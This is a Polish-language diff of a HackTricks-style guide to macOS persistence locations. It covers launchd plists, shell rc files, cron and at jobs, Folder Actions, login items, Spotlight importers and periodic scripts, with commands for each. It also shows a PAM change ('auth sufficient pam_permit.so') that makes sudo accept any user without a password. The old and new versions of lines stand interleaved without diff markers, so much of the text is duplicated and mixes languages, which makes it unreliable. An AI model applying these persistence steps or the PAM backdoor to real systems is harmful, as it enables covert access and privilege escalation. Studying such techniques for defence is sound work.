**`launchd`** jest **pierwszym** **procesem** wykonywanym przez jądro OX S podczas uruchamiania i ostatnim, który kończy się podczas zamykania. Zawsze powinien mieć **PID 1**. Ten proces **odczyta i wykona** konfiguracje wskazane w **ASEP** **plistach** w:
- `/Library/LaunchAgents`: Agenci per-user zainstalowani przez administratora
- `/Library/LaunchAgents`: Agenci per użytkownik zainstalowani przez administratora
- `/Library/LaunchDaemons`: Demony systemowe zainstalowane przez administratora
- `/System/Library/LaunchAgents`: Agenci per-user dostarczani przez Apple.
- `/System/Library/LaunchAgents`: Agenci per użytkownik dostarczani przez Apple.
- `/System/Library/LaunchDaemons`: Demony systemowe dostarczane przez Apple.
Gdy użytkownik loguje się, plisty znajdujące się w `/Users/$USER/Library/LaunchAgents` i `/Users/$USER/Library/LaunchDemons` są uruchamiane z **uprawnieniami zalogowanego użytkownika**.
@ -72,15 +72,15 @@ Gdy użytkownik loguje się, plisty znajdujące się w `/Users/$USER/Library/Lau
</dict>
</plist>
```
Są przypadki, w których **agent musi być uruchomiony przed zalogowaniem się użytkownika**, nazywane są **PreLoginAgents**. Na przykład, jest to przydatne do zapewnienia technologii wspomagającej przy logowaniu. Można je również znaleźć w `/Library/LaunchAgents` (zobacz [**tutaj**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) przykład).
Są przypadki, w których **agent musi być uruchomiony przed zalogowaniem użytkownika**, nazywane są **PreLoginAgents**. Na przykład, jest to przydatne do zapewnienia technologii wspomagającej przy logowaniu. Można je również znaleźć w `/Library/LaunchAgents` (zobacz [**tutaj**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) przykład).
> [!NOTE]
> Nowe pliki konfiguracyjne Daemons lub Agents będą **ładowane po następnym uruchomieniu lub przy użyciu** `launchctl load <target.plist>` Można **również załadować pliki .plist bez tego rozszerzenia** za pomocą `launchctl -F <file>` (jednak te pliki plist nie będą automatycznie ładowane po uruchomieniu).\
> Nowe pliki konfiguracyjne Daemons lub Agents będą **ładowane po następnym uruchomieniu lub przy użyciu** `launchctl load <target.plist>`. Można **również załadować pliki .plist bez tego rozszerzenia** za pomocą `launchctl -F <file>` (jednak te pliki plist nie będą automatycznie ładowane po uruchomieniu).\
> Można również **odłączyć** za pomocą `launchctl unload <target.plist>` (proces wskazany przez niego zostanie zakończony),
>
> Aby **upewnić się**, że nie ma **niczego** (jak nadpisanie) **zapobiegającego** **uruchomieniu** **Agenta** lub **Daemona**, uruchom: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
Wypisz wszystkie agenty i demony załadowane przez bieżącego użytkownika:
Wylistuj wszystkie agenty i demony załadowane przez bieżącego użytkownika:
```bash
launchctl list
```
@ -133,10 +133,10 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://thee
- Potencjalnie więcej w: **`man zsh`**
- **`~/.bashrc`**
- **Wyzwalacz**: Otwórz terminal z bash
- `/etc/profile` (nie działało)
- `~/.profile` (nie działało)
- `/etc/profile` (nie działa)
- `~/.profile` (nie działa)
- `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
- **Wyzwalacz**: Oczekiwano, że uruchomi się z xterm, ale **nie jest zainstalowany** i nawet po zainstalowaniu pojawia się ten błąd: xterm: `DISPLAY is not set`
- **Wyzwalacz**: Oczekiwano, że wyzwoli się z xterm, ale **nie jest zainstalowany** i nawet po zainstalowaniu pojawia się ten błąd: xterm: `DISPLAY is not set`
#### Opis i wykorzystanie
@ -150,7 +150,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
### Ponownie otwarte aplikacje
> [!OSTRZEŻENIE]
> Konfigurowanie wskazanej eksploatacji oraz wylogowywanie i logowywanie lub nawet ponowne uruchamianie nie działało dla mnie, aby uruchomić aplikację. (Aplikacja nie była uruchamiana, być może musi być uruchomiona, gdy te działania są wykonywane)
> Konfigurowanie wskazanej eksploatacji oraz wylogowywanie i ponowne logowanie lub nawet ponowne uruchamianie nie działało dla mnie, aby uruchomić aplikację. (Aplikacja nie była uruchamiana, być może musi być uruchomiona, gdy te działania są wykonywane)
**Opis**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/)
@ -160,17 +160,17 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
#### Lokalizacja
- **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
- **Wyzwalacz**: Ponowne uruchomienie otwartych aplikacji
- **Wyzwalacz**: Ponowne uruchomienie otwierania aplikacji
#### Opis i eksploatacja
Wszystkie aplikacje do ponownego otwarcia znajdują się w pliku plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
Aby aplikacje do ponownego otwarcia uruchomiły twoją własną, wystarczy **dodać swoją aplikację do listy**.
Aby sprawić, by ponownie otwierane aplikacje uruchamiały twoją, wystarczy **dodać swoją aplikację do listy**.
UUID można znaleźć, wylistowując ten katalog lub używając `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
Aby sprawdzić aplikacje, które zostaną ponownie otwarte, możesz to zrobić:
Aby sprawdzić aplikacje, które będą ponownie otwierane, możesz to zrobić:
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
@ -188,9 +188,9 @@ Aby **dodać aplikację do tej listy** możesz użyć:
```
### Preferencje Terminala
- Przydatne do obejścia sandbox: [](https://emojipedia.org/check-mark-button)
- Przydatne do obejścia piaskownicy: [](https://emojipedia.org/check-mark-button)
- Obejście TCC: [](https://emojipedia.org/check-mark-button)
- Terminal używa uprawnień FDA użytkownika, który go używa
- Terminal ma uprawnienia FDA użytkownika, który go używa
#### Lokalizacja
@ -245,7 +245,7 @@ Możesz to dodać z poziomu cli za pomocą:
#### Opis i Eksploatacja
Jeśli stworzysz [**`.terminal`** skrypt](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) i go otworzysz, **aplikacja Terminal** zostanie automatycznie wywołana do wykonania wskazanych tam poleceń. Jeśli aplikacja Terminal ma jakieś specjalne uprawnienia (takie jak TCC), twoje polecenie zostanie wykonane z tymi specjalnymi uprawnieniami.
Jeśli stworzysz [**`.terminal`** script](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) i go otworzysz, **aplikacja Terminal** zostanie automatycznie wywołana do wykonania wskazanych tam poleceń. Jeśli aplikacja Terminal ma jakieś specjalne uprawnienia (takie jak TCC), twoje polecenie zostanie wykonane z tymi specjalnymi uprawnieniami.
Spróbuj to z:
```bash
@ -278,7 +278,7 @@ open /tmp/test.terminal
Możesz również użyć rozszerzeń **`.command`**, **`.tool`**, z zawartością zwykłych skryptów powłoki, a będą one również otwierane przez Terminal.
> [!CAUTION]
> Jeśli terminal ma **Pełny dostęp do dysku**, będzie w stanie wykonać tę akcję (zauważ, że polecenie wykonane będzie widoczne w oknie terminala).
> Jeśli terminal ma **Pełny dostęp do dysku**, będzie w stanie wykonać tę akcję (zauważ, że wykonana komenda będzie widoczna w oknie terminala).
### Wtyczki audio
@ -292,20 +292,20 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
#### Lokalizacja
- **`/Library/Audio/Plug-Ins/HAL`**
- Wymagany root
- Wymagane uprawnienia roota
- **Wyzwalacz**: Uruchom ponownie coreaudiod lub komputer
- **`/Library/Audio/Plug-ins/Components`**
- Wymagany root
- Wymagane uprawnienia roota
- **Wyzwalacz**: Uruchom ponownie coreaudiod lub komputer
- **`~/Library/Audio/Plug-ins/Components`**
- **Wyzwalacz**: Uruchom ponownie coreaudiod lub komputer
- **`/System/Library/Components`**
- Wymagany root
- Wymagane uprawnienia roota
- **Wyzwalacz**: Uruchom ponownie coreaudiod lub komputer
#### Opis
Zgodnie z wcześniejszymi opisami możliwe jest **kompilowanie niektórych wtyczek audio** i załadowanie ich.
Zgodnie z wcześniejszymi opisami, możliwe jest **kompilowanie niektórych wtyczek audio** i załadowanie ich.
### Wtyczki QuickLook
@ -373,16 +373,16 @@ defaults delete com.apple.loginwindow LogoutHook
```
Użytkownik root jest przechowywany w **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
## Warunkowe Ominięcie Sandboxa
## Ominięcie piaskownicy warunkowej
> [!TIP]
> Tutaj możesz znaleźć lokalizacje startowe przydatne do **ominięcia sandboxa**, które pozwalają na proste wykonanie czegoś poprzez **zapisanie go do pliku** i **oczekiwanie na nie super powszechne warunki**, takie jak konkretne **zainstalowane programy, "niezwykłe" działania użytkowników** lub środowiska.
> Tutaj możesz znaleźć lokalizacje startowe przydatne do **ominięcia piaskownicy**, które pozwalają na proste wykonanie czegoś poprzez **zapisanie tego w pliku** i **oczekiwanie na nie super powszechne warunki**, takie jak konkretne **zainstalowane programy, "niezwykłe" działania użytkowników** lub środowiska.
### Cron
**Opis**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/)
- Przydatne do ominięcia sandboxa: [](https://emojipedia.org/check-mark-button)
- Przydatne do ominięcia piaskownicy: [](https://emojipedia.org/check-mark-button)
- Jednak musisz być w stanie wykonać binarny plik `crontab`
- Lub być rootem
- Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
@ -393,9 +393,9 @@ Użytkownik root jest przechowywany w **`/private/var/root/Library/Preferences/c
- Wymagany root do bezpośredniego dostępu do zapisu. Nie jest wymagany root, jeśli możesz wykonać `crontab <file>`
- **Wyzwalacz**: Zależy od zadania cron
#### Opis i Wykorzystanie
#### Opis i wykorzystanie
Wylistuj zadania cron dla **bieżącego użytkownika** za pomocą:
Wylistuj zadania cron **bieżącego użytkownika** za pomocą:
```bash
crontab -l
```
@ -406,9 +406,9 @@ W MacOS można znaleźć kilka folderów wykonujących skrypty z **określoną c
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
Można tam znaleźć regularne **cron** **zadania**, **at** **zadania** (niezbyt używane) oraz **zadania** **okresowe** (głównie używane do czyszczenia plików tymczasowych). Codzienne zadania okresowe można wykonać na przykład za pomocą: `periodic daily`.
Można tam znaleźć regularne **cron** **jobs**, **at** **jobs** (niezbyt używane) oraz **periodic** **jobs** (głównie używane do czyszczenia plików tymczasowych). Codzienne zadania okresowe można wykonać na przykład za pomocą: `periodic daily`.
Aby dodać **zadanie cron użytkownika programowo**, można użyć:
Aby programowo dodać **user cronjob**, można użyć:
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
@ -421,16 +421,16 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.g
- Obejście TCC: [](https://emojipedia.org/check-mark-button)
- iTerm2 miało przyznane uprawnienia TCC
#### Lokalizacje
#### Locations
- **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
- **Wyzwalacz**: Otwórz iTerm
- **Trigger**: Otwórz iTerm
- **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
- **Wyzwalacz**: Otwórz iTerm
- **Trigger**: Otwórz iTerm
- **`~/Library/Preferences/com.googlecode.iterm2.plist`**
- **Wyzwalacz**: Otwórz iTerm
- **Trigger**: Otwórz iTerm
#### Opis i Eksploatacja
#### Description & Exploitation
Skrypty przechowywane w **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** będą wykonywane. Na przykład:
```bash
@ -441,7 +441,7 @@ EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
lub:
or:
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
@ -607,7 +607,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.g
- **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
- **Trigger:** Logowanie
- Payload exploitu przechowywany wywołując **`osascript`**
- Payload exploitu przechowywany w wywołaniu **`osascript`**
- **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
- **Trigger:** Logowanie
- Wymagany root
@ -632,17 +632,17 @@ Te elementy są przechowywane w pliku **`~/Library/Application Support/com.apple
### ZIP jako Element Logowania
(Sprawdź poprzednią sekcję o Elementach Logowania, to jest rozszerzenie)
(Zobacz poprzednią sekcję o Elementach Logowania, to jest rozszerzenie)
Jeśli przechowasz plik **ZIP** jako **Element Logowania**, **`Archive Utility`** go otworzy, a jeśli zip był na przykład przechowywany w **`~/Library`** i zawierał folder **`LaunchAgents/file.plist`** z backdoorem, ten folder zostanie utworzony (nie jest to domyślnie) i plist zostanie dodany, więc następnym razem, gdy użytkownik się zaloguje, **backdoor wskazany w plist zostanie wykonany**.
Jeśli przechowasz plik **ZIP** jako **Element Logowania**, **`Archive Utility`** go otworzy, a jeśli zip był na przykład przechowywany w **`~/Library`** i zawierał folder **`LaunchAgents/file.plist`** z backdoorem, ten folder zostanie utworzony (nie jest to domyślne) i plist zostanie dodany, więc następnym razem, gdy użytkownik się zaloguje, **backdoor wskazany w plist zostanie wykonany**.
Inną opcją byłoby utworzenie plików **`.bash_profile`** i **`.zshenv`** w katalogu domowym użytkownika, więc jeśli folder LaunchAgents już istnieje, ta technika nadal by działała.
Inną opcją byłoby utworzenie plików **`.bash_profile`** i **`.zshenv`** w katalogu domowym użytkownika, więc jeśli folder LaunchAgents już istnieje, ta technika nadal będzie działać.
### At
Opis: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/)
- Przydatne do obejścia sandbox: [](https://emojipedia.org/check-mark-button)
- Przydatne do obejścia sandboxu: [](https://emojipedia.org/check-mark-button)
- Ale musisz **wykonać** **`at`** i musi być **włączone**
- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle)
@ -668,7 +668,7 @@ sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
Powyżej widzimy dwa zaplanowane zadania. Możemy wydrukować szczegóły zadania używając `at -c JOBNUMBER`
Powyżej widzimy dwa zaplanowane zadania. Możemy wydrukować szczegóły zadania, używając `at -c JOBNUMBER`
```shell-session
sh-3.2# at -c 26
#!/bin/sh
@ -711,7 +711,7 @@ total 32
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
Nazwa pliku zawiera kolejkę, numer zadania i czas, w którym ma być uruchomione. Na przykład, przyjrzyjmy się `a0001a019bdcd2`.
Nazwa pliku zawiera kolejkę, numer zadania i czas, w którym ma być uruchomione. Na przykład przyjrzyjmy się `a0001a019bdcd2`.
- `a` - to jest kolejka
- `0001a` - numer zadania w systemie szesnastkowym, `0x1a = 26`
@ -724,24 +724,24 @@ Jeśli wydrukujemy plik zadania, odkryjemy, że zawiera te same informacje, któ
Writeup: [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
- Przydatne do obejścia sandbox: [](https://emojipedia.org/check-mark-button)
- Przydatne do obejścia piaskownicy: [](https://emojipedia.org/check-mark-button)
- Ale musisz być w stanie wywołać `osascript` z argumentami, aby skontaktować się z **`System Events`**, aby skonfigurować Folder Actions
- Obejście TCC: [🟠](https://emojipedia.org/large-orange-circle)
- Ma podstawowe uprawnienia TCC, takie jak Pulpit, Dokumenty i Pobrane
#### Location
#### Lokalizacja
- **`/Library/Scripts/Folder Action Scripts`**
- Wymagane uprawnienia roota
- **Trigger**: Dostęp do określonego folderu
- **Wyzwalacz**: Dostęp do określonego folderu
- **`~/Library/Scripts/Folder Action Scripts`**
- **Trigger**: Dostęp do określonego folderu
- **Wyzwalacz**: Dostęp do określonego folderu
#### Description & Exploitation
#### Opis i Eksploatacja
Folder Actions to skrypty automatycznie uruchamiane przez zmiany w folderze, takie jak dodawanie, usuwanie elementów lub inne działania, takie jak otwieranie lub zmiana rozmiaru okna folderu. Te działania mogą być wykorzystywane do różnych zadań i mogą być uruchamiane na różne sposoby, na przykład za pomocą interfejsu Finder lub poleceń terminala.
Aby skonfigurować Folder Actions, masz kilka opcji:
Aby skonfigurować Folder Actions, masz opcje takie jak:
1. Tworzenie przepływu pracy Folder Action za pomocą [Automator](https://support.apple.com/guide/automator/welcome/mac) i zainstalowanie go jako usługi.
2. Ręczne dołączenie skryptu za pomocą ustawień Folder Actions w menu kontekstowym folderu.
@ -762,7 +762,7 @@ Aby uczynić powyższy skrypt użytecznym dla Folder Actions, skompiluj go za po
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
Po skompilowaniu skryptu, skonfiguruj Folder Actions, wykonując poniższy skrypt. Ten skrypt włączy Folder Actions globalnie i szczególnie przypisze wcześniej skompilowany skrypt do folderu Pulpit.
Po skompilowaniu skryptu, skonfiguruj Folder Actions, wykonując poniższy skrypt. Ten skrypt włączy Folder Actions globalnie i szczegółowo przypnie wcześniej skompilowany skrypt do folderu Pulpit.
```javascript
// Enabling and attaching Folder Action
var se = Application("System Events")
@ -776,7 +776,7 @@ Uruchom skrypt konfiguracyjny za pomocą:
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
- To jest sposób na wdrożenie tej trwałości za pomocą GUI:
- To jest sposób na wdrożenie tej persystencji za pomocą GUI:
To jest skrypt, który zostanie wykonany:
```applescript:source.js
@ -787,7 +787,7 @@ app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
Skompiluj to za pomocą: `osacompile -l JavaScript -o folder.scpt source.js`
Kompiluj to za pomocą: `osacompile -l JavaScript -o folder.scpt source.js`
Przenieś to do:
```bash
@ -798,7 +798,7 @@ Następnie otwórz aplikację `Folder Actions Setup`, wybierz **folder, który c
<figure><img src="../images/image (39).png" alt="" width="297"><figcaption></figcaption></figure>
Teraz, jeśli otworzysz ten folder za pomocą **Finder**, twój skrypt zostanie wykonany.
Teraz, jeśli otworzysz ten folder za pomocą **Findera**, twój skrypt zostanie wykonany.
Ta konfiguracja została zapisana w **plist** znajdującym się w **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** w formacie base64.
@ -813,7 +813,7 @@ Teraz spróbujmy przygotować tę persistencję bez dostępu do GUI:
Teraz, gdy mamy puste środowisko
3. Skopiuj plik kopii zapasowej: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. Otwórz Folder Actions Setup.app, aby wykorzystać tę konfigurację: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
4. Otwórz Folder Actions Setup.app, aby zastosować tę konfigurację: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
> [!CAUTION]
> I to nie zadziałało dla mnie, ale to są instrukcje z opisu:(
@ -831,7 +831,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.gith
- `~/Library/Preferences/com.apple.dock.plist`
- **Wyzwalacz**: Gdy użytkownik kliknie na aplikację w docku
#### Opis i wykorzystanie
#### Opis i Eksploatacja
Wszystkie aplikacje, które pojawiają się w Docku, są określone w plist: **`~/Library/Preferences/com.apple.dock.plist`**
@ -944,7 +944,7 @@ Zauważ, że binarny plik ładujący twoją bibliotekę ma **bardzo restrykcyjn
Przykład aplikacji z rozszerzeniem Finder Sync [**można znaleźć tutaj**](https://github.com/D00MFist/InSync).
Aplikacje mogą mieć `Finder Sync Extensions`. To rozszerzenie wejdzie do aplikacji, która będzie uruchamiana. Ponadto, aby rozszerzenie mogło wykonać swój kod, **musi być podpisane** ważnym certyfikatem dewelopera Apple, musi być **sandboxed** (chociaż mogą być dodane luźniejsze wyjątki) i musi być zarejestrowane w czymś takim jak:
Aplikacje mogą mieć `Finder Sync Extensions`. To rozszerzenie będzie działać w aplikacji, która zostanie uruchomiona. Ponadto, aby rozszerzenie mogło wykonać swój kod, **musi być podpisane** ważnym certyfikatem dewelopera Apple, musi być **sandboxed** (chociaż mogą być dodane luźniejsze wyjątki) i musi być zarejestrowane w czymś takim jak:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
@ -975,7 +975,7 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
Utwórz nowy projekt w Xcode i wybierz szablon do generowania nowego **Wygaszacza ekranu**. Następnie dodaj swój kod, na przykład poniższy kod do generowania logów.
**Zbuduj** go i skopiuj pakiet `.saver` do **`~/Library/Screen Savers`**. Następnie otwórz GUI wygaszacza ekranu i jeśli po prostu na niego klikniesz, powinno to wygenerować dużo logów:
**Zbuduj** go i skopiuj pakiet `.saver` do **`~/Library/Screen Savers`**. Następnie otwórz GUI wygaszacza ekranu i po prostu na niego kliknij, powinno to wygenerować wiele logów:
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
@ -1053,7 +1053,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
@end
```
### Wtyczki Spotlight
### Spotlight Plugins
writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.github.io/beyond/beyond_0011/)
@ -1062,28 +1062,28 @@ writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.g
- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle)
- Piaskownica wydaje się bardzo ograniczona
#### Lokalizacja
#### Location
- `~/Library/Spotlight/`
- **Wyzwalacz**: Tworzony jest nowy plik z rozszerzeniem zarządzanym przez wtyczkę spotlight.
- **Trigger**: Tworzony jest nowy plik z rozszerzeniem zarządzanym przez wtyczkę spotlight.
- `/Library/Spotlight/`
- **Wyzwalacz**: Tworzony jest nowy plik z rozszerzeniem zarządzanym przez wtyczkę spotlight.
- **Trigger**: Tworzony jest nowy plik z rozszerzeniem zarządzanym przez wtyczkę spotlight.
- Wymagane uprawnienia roota
- `/System/Library/Spotlight/`
- **Wyzwalacz**: Tworzony jest nowy plik z rozszerzeniem zarządzanym przez wtyczkę spotlight.
- **Trigger**: Tworzony jest nowy plik z rozszerzeniem zarządzanym przez wtyczkę spotlight.
- Wymagane uprawnienia roota
- `Some.app/Contents/Library/Spotlight/`
- **Wyzwalacz**: Tworzony jest nowy plik z rozszerzeniem zarządzanym przez wtyczkę spotlight.
- **Trigger**: Tworzony jest nowy plik z rozszerzeniem zarządzanym przez wtyczkę spotlight.
- Wymagana nowa aplikacja
#### Opis i Wykorzystanie
#### Description & Exploitation
Spotlight to wbudowana funkcja wyszukiwania w macOS, zaprojektowana w celu zapewnienia użytkownikom **szybkiego i kompleksowego dostępu do danych na ich komputerach**.\
Aby ułatwić tę szybką zdolność wyszukiwania, Spotlight utrzymuje **własną bazę danych** i tworzy indeks poprzez **analizowanie większości plików**, co umożliwia szybkie wyszukiwanie zarówno po nazwach plików, jak i ich zawartości.
Podstawowy mechanizm Spotlight obejmuje centralny proces nazwany 'mds', co oznacza **'serwer metadanych'.** Ten proces koordynuje całą usługę Spotlight. Uzupełniają go liczne demony 'mdworker', które wykonują różnorodne zadania konserwacyjne, takie jak indeksowanie różnych typów plików (`ps -ef | grep mdworker`). Te zadania są możliwe dzięki wtyczkom importera Spotlight, czyli **".mdimporter bundles"**, które umożliwiają Spotlight zrozumienie i indeksowanie zawartości w różnych formatach plików.
Podstawowy mechanizm Spotlight obejmuje centralny proces nazwany 'mds', co oznacza **'serwer metadanych'.** Proces ten koordynuje całą usługę Spotlight. Uzupełniają go liczne demony 'mdworker', które wykonują różnorodne zadania konserwacyjne, takie jak indeksowanie różnych typów plików (`ps -ef | grep mdworker`). Te zadania są możliwe dzięki wtyczkom importera Spotlight, czyli **".mdimporter bundles"**, które umożliwiają Spotlight zrozumienie i indeksowanie zawartości w różnych formatach plików.
Wtyczki lub **`.mdimporter`** bundles znajdują się w wcześniej wymienionych miejscach, a jeśli pojawi się nowy bundle, jest ładowany w ciągu minuty (nie ma potrzeby ponownego uruchamiania żadnej usługi). Te bundle muszą wskazywać, które **typy plików i rozszerzenia mogą obsługiwać**, w ten sposób Spotlight będzie ich używać, gdy zostanie utworzony nowy plik z wskazanym rozszerzeniem.
Wtyczki lub **`.mdimporter`** bundles znajdują się w wcześniej wspomnianych miejscach, a jeśli pojawi się nowy bundle, jest ładowany w ciągu minuty (nie ma potrzeby ponownego uruchamiania żadnej usługi). Te bundle muszą wskazywać, które **typy plików i rozszerzenia mogą obsługiwać**, w ten sposób Spotlight będzie ich używać, gdy zostanie utworzony nowy plik z wskazanym rozszerzeniem.
Możliwe jest **znalezienie wszystkich `mdimporters`** załadowanych w trakcie działania:
```bash
@ -1136,9 +1136,9 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
> Ponadto, domyślne wtyczki systemowe zawsze mają pierwszeństwo, więc atakujący może uzyskać dostęp tylko do plików, które nie są w inny sposób indeksowane przez własne `mdimporters` Apple.
Aby stworzyć własny importer, możesz zacząć od tego projektu: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) i następnie zmienić nazwę, **`CFBundleDocumentTypes`** oraz dodać **`UTImportedTypeDeclarations`**, aby obsługiwał rozszerzenie, które chcesz wspierać i odzwierciedlić je w **`schema.xml`**.\
Następnie **zmień** kod funkcji **`GetMetadataForFile`**, aby wykonać swój ładunek, gdy plik z przetwarzanym rozszerzeniem zostanie utworzony.
Następnie **zmień** kod funkcji **`GetMetadataForFile`**, aby wykonać swój ładunek, gdy plik z przetworzonym rozszerzeniem zostanie utworzony.
Na koniec **zbuduj i skopiuj swój nowy `.mdimporter`** do jednej z wcześniejszych lokalizacji i możesz sprawdzić, czy jest załadowany **monitorując logi** lub sprawdzając **`mdimport -L.`**
Na koniec **zbuduj i skopiuj swój nowy `.mdimporter`** do jednej z wcześniejszych lokalizacji i możesz sprawdzić, czy jest ładowany **monitorując logi** lub sprawdzając **`mdimport -L.`**
### ~~Preference Pane~~
@ -1151,41 +1151,41 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.g
- Wymaga konkretnej akcji użytkownika
- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Location
#### Lokalizacja
- **`/System/Library/PreferencePanes`**
- **`/Library/PreferencePanes`**
- **`~/Library/PreferencePanes`**
#### Description
#### Opis
Nie wygląda na to, że to już działa.
## Root Sandbox Bypass
## Obejście Sandbox Root
> [!TIP]
> Tutaj możesz znaleźć lokalizacje startowe przydatne do **obejścia sandbox**, które pozwala na proste wykonanie czegoś przez **zapisanie go do pliku** będąc **root** i/lub wymagając inne **dziwne warunki.**
> Tutaj możesz znaleźć lokalizacje startowe przydatne do **obejścia sandbox**, które pozwala na proste wykonanie czegoś przez **zapisanie go w pliku** będąc **rootem** i/lub wymagając inne **dziwne warunki.**
### Periodic
### Okresowe
Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/)
- Przydatne do obejścia sandbox: [🟠](https://emojipedia.org/large-orange-circle)
- Ale musisz być root
- Ale musisz być rootem
- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Location
#### Lokalizacja
- `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic`
- Wymagany root
- **Trigger**: Gdy nadejdzie czas
- **Wyzwalacz**: Gdy nadejdzie czas
- `/etc/daily.local`, `/etc/weekly.local` lub `/etc/monthly.local`
- Wymagany root
- **Trigger**: Gdy nadejdzie czas
- **Wyzwalacz**: Gdy nadejdzie czas
#### Description & Exploitation
#### Opis i Eksploatacja
Skrypty okresowe (**`/etc/periodic`**) są wykonywane z powodu **daemonów uruchamiających** skonfigurowanych w `/System/Library/LaunchDaemons/com.apple.periodic*`. Zauważ, że skrypty przechowywane w `/etc/periodic/`**wykonywane** jako **właściciel pliku**, więc to nie zadziała w przypadku potencjalnego eskalacji uprawnień.
Skrypty okresowe (**`/etc/periodic`**) są wykonywane z powodu **demonów uruchamiających** skonfigurowanych w `/System/Library/LaunchDaemons/com.apple.periodic*`. Zauważ, że skrypty przechowywane w `/etc/periodic/`**wykonywane** jako **właściciel pliku**, więc to nie zadziała w przypadku potencjalnego podniesienia uprawnień.
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
@ -1239,11 +1239,11 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit.g
#### Lokalizacja
- Zawsze wymagany root
- Root zawsze wymagany
#### Opis i Eksploatacja
Ponieważ PAM jest bardziej skoncentrowany na **utrzymywaniu** i złośliwym oprogramowaniu niż na łatwym wykonaniu w macOS, ten blog nie poda szczegółowego wyjaśnienia, **przeczytaj writeupy, aby lepiej zrozumieć tę technikę**.
Ponieważ PAM jest bardziej skoncentrowany na **utrzymywaniu** i złośliwym oprogramowaniu niż na łatwym wykonywaniu w macOS, ten blog nie poda szczegółowego wyjaśnienia, **przeczytaj writeupy, aby lepiej zrozumieć tę technikę**.
Sprawdź moduły PAM za pomocą:
```bash
@ -1253,7 +1253,7 @@ Technika utrzymywania/eskalacji uprawnień wykorzystująca PAM jest tak prosta,
```bash
auth sufficient pam_permit.so
```
Więc będzie **wyglądać** to mniej więcej tak:
Więc to będzie **wyglądać** mniej więcej tak:
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
